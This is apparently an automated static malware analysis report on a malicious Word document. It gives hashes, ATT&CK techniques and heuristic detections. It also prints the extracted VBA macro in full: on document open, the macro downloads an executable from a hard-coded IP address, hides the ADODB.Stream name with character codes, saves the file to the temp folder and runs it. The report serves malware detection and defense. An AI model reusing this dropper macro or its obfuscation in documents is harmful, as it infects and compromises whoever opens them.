Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 c8fe458a53676a65…

MALICIOUS

Office (OLE)

55.0 KB Created: 2018-07-23 19:27:00 Authoring application: Microsoft Office Word First seen: 2018-10-07
MD5: 063e79b082f09c818bd104216366dde0 SHA-1: 1e3cd929dbd3d0fc92b74f12515666a44cebf84d SHA-256: c8fe458a53676a65464a92d1f36d6ed3d32ed5fbdc79a09238bb3b4afc3f53e1
438 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1105 Ingress Tool Transfer

The sample is a malicious Office document containing VBA macros. The Document_Open macro is designed to bypass security warnings by instructing the user to enable content, then it downloads a second-stage executable from http://205.185.121.209/azo.exe. The script then saves this payload as 'qwerty2.exe' in the temporary directory and executes it using the Shell() function. The obfuscated string 'ADODB.Stre am' is used to create the stream object for writing the downloaded file.

Heuristics 12

  • ClamAV: Doc.Dropper.Agent-6412232-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6412232-1
  • VBA macros detected medium 8 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    Call Shell(Environ("Temp") + "\qwerty2.exe", 0)
  • Obfuscated VBA Shell command with URL critical OLE_VBA_OBFUSCATED_SHELL_URL
    VBA macro invokes Shell with command text assembled through decoder or string-manipulation functions and includes a URL. This is a high-confidence downloader/dropper pattern, stronger than Shell or URL evidence on their own.
    Matched line in script
    Call Shell(Environ("Temp") + "\qwerty2.exe", 0)
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
    xyuhjnx = WinHttpReq.responseBody
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
    Set WinHttpReq = CreateObject("Microsoft.XMLHTTP")
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set WinHttpReq = CreateObject("Microsoft.XMLHTTP")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
        oStream.SaveToFile Environ("Temp") + "\qwerty2.exe", Val("2FFF")
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://205.185.121.209/azo.exe� Referenced by macro
    • http://205.185.121.209/azo.exeReferenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/mainReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/bibliographyReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/customXmlReferenced by macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1353 bytes
SHA-256: cec3e026eac49f53ea639995e60697280c55001b5033fa5847d77d1fa3e2450d
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub Document_Open()

Dim WinHttpReq As Object
Set WinHttpReq = CreateObject("Microsoft.XMLHTTP")
    
WinHttpReq.Open "GET", "http://205.185.121.209/azo.exe", False, "username", "password"
WinHttpReq.send

Dim first5 As String
    Dim second5 As String
    Dim last5 As String
    first5 = ChrW(65) & ChrW(68) & ChrW(79) & ChrW(68) & ChrW(66) & ChrW(46) & ChrW(83) & ChrW(116) & ChrW(114) & ChrW(101)
    second5 = ChrW(97) & ChrW(109)
    last5 = first5 + second5

xyuhjnx = WinHttpReq.responseBody
If WinHttpReq.Status = 200 Then
    Set oStream = CreateObject(last5)
    oStream.Open
    oStream.Type = Val("1FFF")
    oStream.Write WinHttpReq.responseBody
    
    Dim first6 As String
    Dim last6 As String
    first6 = ChrW(92) & ChrW(99) & ChrW(104) & ChrW(101) & ChrW(99) & ChrW(107) & ChrW(46) & ChrW(101) & ChrW(120) & ChrW(101)
    last6 = first6
    
    oStream.SaveToFile Environ("Temp") + "\qwerty2.exe", Val("2FFF")
    oStream.Close
    
End If
 
Call Shell(Environ("Temp") + "\qwerty2.exe", 0)

End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.